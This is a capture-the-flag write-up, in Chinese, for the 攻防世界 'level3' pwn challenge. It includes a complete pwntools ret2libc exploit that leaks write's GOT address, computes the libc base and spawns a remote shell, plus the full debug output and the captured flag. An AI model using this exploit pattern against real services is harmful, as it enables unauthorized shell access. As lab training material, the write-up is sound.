level3 攻防世界

明显的栈溢出漏洞

```
1 ssize_t vulnerable_function()
2 {
3   char buf[136]; // [esp+0h] [ebp-88h] BYREF
4
5   write(1, "Input:\n", 7u);
6   return read(0, buf, 0x100u);
7 }
```

而且没有提供system和/bin/sh，但是可以通过write来泄露got表中system和/bin/sh

```
GOT protection: Partial RELRO | GOT functions: 4

[0x804a00c] read@GLIBC_2.0 -> 0x8048316 (read@plt+6) <- push   0 /* 'h' */
[0x804a010] __gmon_start__ -> 0x8048326 (__gmon_start__@plt+6) <- push   8
[0x804a014] __libc_start_main@GLIBC_2.0 -> 0xf7e15550 (__libc_start_main) <- call   0xf7f1cc59
[0x804a018] write@GLIBC_2.0 -> 0x8048346 (write@plt+6) <- push   0x18
```

Python

```python
from pwn import *
context.log_level = 'debug'
#p = process('./pwn')
p = remote('111.200.241.244',41866)
elf = ELF('./pwn')
libc = ELF('./libc_32.so.6')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
payload = 'A'*0x88 + 'A'*0x04 +
p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
p.sendlineafter('Input:\n',payload)
write_addr = u32(p.recv(4))
libc_base = write_addr - libc.symbols['write']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print hex(libc_base),hex(sys_addr),hex(binsh_addr)
payload = 'A'*0x88 + 'A'*0x04 + p32(sys_addr)+p32(main_addr)+p32(binsh_addr)
p.sendlineafter('Input:\n',payload)
p.interactive()
```

```
root@ams:/home/ams/ctf# python exp.py
[+] Opening connection to 111.200.241.244 on port 41866: Done
[DEBUG] PLT 0x8048310 read
[DEBUG] PLT 0x8048320 __gmon_start__
[DEBUG] PLT 0x8048330 __libc_start_main
[DEBUG] PLT 0x8048340 write
[*] '/home/ams/ctf/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[DEBUG] PLT 0x176b0 _Unwind_Find_FDE
[DEBUG] PLT 0x176c0 realloc
[DEBUG] PLT 0x176e0 memalign
[DEBUG] PLT 0x17710 _dl_find_dso_for_object
[DEBUG] PLT 0x17720 calloc
[DEBUG] PLT 0x17730 ___tls_get_addr
[DEBUG] PLT 0x17740 malloc
[DEBUG] PLT 0x17748 free
[*] '/home/ams/ctf/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[DEBUG] Received 0x7 bytes:
```

```
[DEBUG] Received 0x7 bytes:
    'Input:\n'
[DEBUG] Sent 0xa1 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  40 83 04 08  |AAAA|AAAA|AAAA|@···|
    00000090  84 84 04 08  01 00 00 00  18 a0 04 08  04 00 00 00  |····|····|····|····|
    000000a0  0a                                                  |·|
    000000a1
[DEBUG] Received 0x4 bytes:
    00000000  c0 33 63 f7                                        |·3c·|
    00000004
0xf755f000 0xf7599940 0xf76b802b
[DEBUG] Received 0x7 bytes:
    'Input:\n'
[DEBUG] Sent 0x99 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  |AAAA|AAAA|AAAA|AAAA|
    *
    00000080  41 41 41 41  41 41 41 41  41 41 41 41  40 99 59 f7  |AAAA|AAAA|AAAA|@·Y·|
    00000090  84 84 04 08  2b 80 6b f7  0a                        |····|+·k·|·|
    00000099
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    'ls\n'
[DEBUG] Received 0x24 bytes:
    'bin\n'
    'dev\n'
    'flag\n'
    'level3\n'
    'lib\n'
    'lib32\n'
    'lib64\n'
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{d0af2feb3468abbf701286e2d539acc5}\n'
cyberpeace{d0af2feb3468abbf701286e2d539acc5}
$
```